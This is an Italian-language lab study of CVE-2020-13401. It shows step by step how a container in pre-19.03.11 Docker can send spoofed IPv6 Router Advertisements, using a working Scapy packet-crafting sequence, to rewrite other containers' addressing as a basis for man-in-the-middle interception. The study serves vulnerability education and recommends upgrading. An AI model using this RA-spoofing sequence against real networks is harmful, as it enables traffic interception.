
Studio sulla vulnerabilità CVE-2020-13401 dei container in docker precedenti alla versione 19.03.11
Studio sulla vulnerabilità CVE-2020-13401 dei container in Docker precedenti alla versione 19.03.11
I container creati con versioni di Docker Engine precedenti alla 19.03.11 sono vulnerabili alla ricezione e all'applicazione di messaggi RA (Router Advertisement) fasulli provenienti da altri container nella rete. Ricevere RA è un comportamento normale del sistema operativo, ma se il mittente dell'RA non è fidato nella rete, il container vittima può ricevere il messaggio, unirsi alla rete e quindi inviare tutti i pacchetti di rete al nuovo router falso (attacco man-in-the-middle). Questo problema non riguarda IPv4 ed è basato su IPv6.
Fonte originale dell'item CVE: CVE-2020-13401
Nei Docker Engine precedenti alla 19.03.11, i container accettano messaggi RA per impostazione predefinita. Considera che c'è un altro container nella rete con la capacità CAP_NET_RAW. Ciò significa che questo container può creare qualsiasi pacchetto di rete e inviarlo alla rete. Quindi, questo container può essere usato come fonte di creazione di pacchetti. Nelle versioni più recenti, i container non accettano messaggi RA a meno che questa funzionalità non sia abilitata su docker engine. Quindi, il sistema potrebbe essere ancora vulnerabile se un amministratore decide di abilitare questa funzionalità.
È fortemente raccomandato aggiornare Docker Engine per proteggere l'ambiente dei tuoi container da questa vulnerabilità.
In questo studio voglio dimostrare come si verifica questa vulnerabilità e vedere come il nostro container è influenzato dal messaggio RA
Nei container in esecuzione, ho testato per verificare se IPv6 funziona. Ma ho scoperto che non c'è supporto IPv6 per impostazione predefinita nel mio container. Per impostazione predefinita, tutti i container docker sono connessi a una rete bridge e questa rete non supporta IPv6. Per abilitare IPv6 per docker è necessario aggiungere un file daemon.json al percorso /etc/docker/. Il contenuto di questo file dovrebbe essere il seguente:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
È possibile assegnare qualsiasi indirizzo di sottorete IPv6 valido. Quindi docker deve essere riavviato e leggere nuovamente il file daemon da zero per configurare la sua rete bridge predefinita. Inoltre, è possibile definire una nuova rete per supportare IPv6.
Comandi per ricaricare la configurazione e riavviare docker:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerFinora abbiamo un Docker che supporta IPv6 ed è il momento di creare i container per avviare la simulazione. Abbiamo bisogno di almeno 2 container. Li chiamo Ubuntu_1 e Ubuntu_2. Sulla tua macchina host usa i seguenti comandi per creare i tuoi container:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
Elenca i tuoi container usando questo comando:
$ docker container ls -a
Usa i nomi dei tuoi container per eseguirli:
$ docker container start -ai [CONTAINER NAME]
Su entrambi i container hai bisogno di alcuni strumenti di base come:
| Strumento | Comando di Installazione |
|---|---|
Installa gli strumenti richiesti e verifica se i tuoi container sono connessi. Per fare ciò, ottieni l'IP del tuo container e le informazioni sulle interfacce usando il comando ifconfig. Quindi esegui ping -6 [IPv6 di destinazione] verso l'altro container per assicurarti che siano connessi. Inoltre, puoi usare tcpdump sul container di destinazione per vedere i pacchetti ping ricevuti. (Assicurati di usare IPv6 per eseguire il ping dei container)
Vogliamo inviare un messaggio RA manipolato da uno dei container nella rete e aggiornare la tabella IP (IpTable) della vittima.
Sto usando SCAPY per creare messaggi di annuncio router IPv6. Scapy è basato su Python. I passaggi di installazione sono i seguenti:
$ sudo apt install python3-scapyUn pacchetto RA è un pacchetto broadcast, e significa che deve essere consegnato a tutti i nodi della rete. Inoltre, è basato sulle regole IPv6. Quindi, l'indirizzo di destinazione è ff01::1 e il protocollo è basato su ICMPv6.
Esegui Scapy:
$ scapy
Uso questi comandi per creare e inviare il pacchetto alla rete:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
Dopo aver inviato il pacchetto, vai agli altri container e usa ifconfig di nuovo. Vedrai che la tua tabella IP (IpTable) viene aggiornata dopo aver ricevuto i messaggi RA.
Puoi fare il pull delle mie immagini docker personalizzate per testare e studiare questo problema: Le mie immagini Docker personalizzate
| nano (o qualsiasi altro editor) |
| apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (installa solo su 1 container) |